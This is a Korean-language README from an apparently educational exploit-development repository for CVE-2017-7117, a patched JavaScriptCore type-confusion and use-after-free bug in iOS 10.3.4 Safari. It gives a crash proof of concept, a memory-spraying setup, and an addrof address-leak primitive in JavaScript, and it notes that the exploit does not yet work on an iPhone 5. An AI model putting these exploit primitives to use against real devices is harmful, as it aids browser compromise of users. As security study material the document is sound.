
CVE-2017-7117을 위한 교육용 익스플로잇으로, iOS 10.3.4 JavaScriptCore의 type-confusion 및 use-after-free 취약점을 보여주며, memory spraying 및 address leak 기법을 시연합니다.
iOS 10.3.4 및 이전 버전, Safari 11.0 이전에서 발견된 타입 혼동(type-confusion) 및 UAF(Use-After-Free) 취약점입니다.
CVE-2017-7117: mitre.org
@lokihardt에 의해 발견됨, 출처: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
위 코드를 실행하면 JSC가 충돌합니다.
JIT 컴파일러가 문자열로 착각하도록 큰 배열 arr을 만듭니다.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
i에 대한 참조가 사라지면 원래 배열 arr에 대한 접근을 유지하여 기본 메모리를 읽을 수 있습니다.
알려진 값을 스프레이하여 이를 찾고 위로 탐색하여 임의 객체의 포인터를 찾을 수 있습니다.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
값은 Uint32Array를 통해 메모리에서 접근되며, 하위 비트가 먼저, 상위 비트가 나중에 옵니다.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
describe()를 사용하여 주소가 유효한지 확인할 수 있습니다.
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
현재 다음에서 테스트됨:
iPhone 5, iOS 10.3.4에서는 아직 작동하지 않습니다. 이유를 알아봅시다...
이 저장소는 익스플로잇 개발 학습 과정을 기록하기 위한 교육 자료로 제공됩니다. 이 CVE는 7년 이상 전에 패치되었습니다. 당연히 악의적인 목적으로 사용하지 마십시오.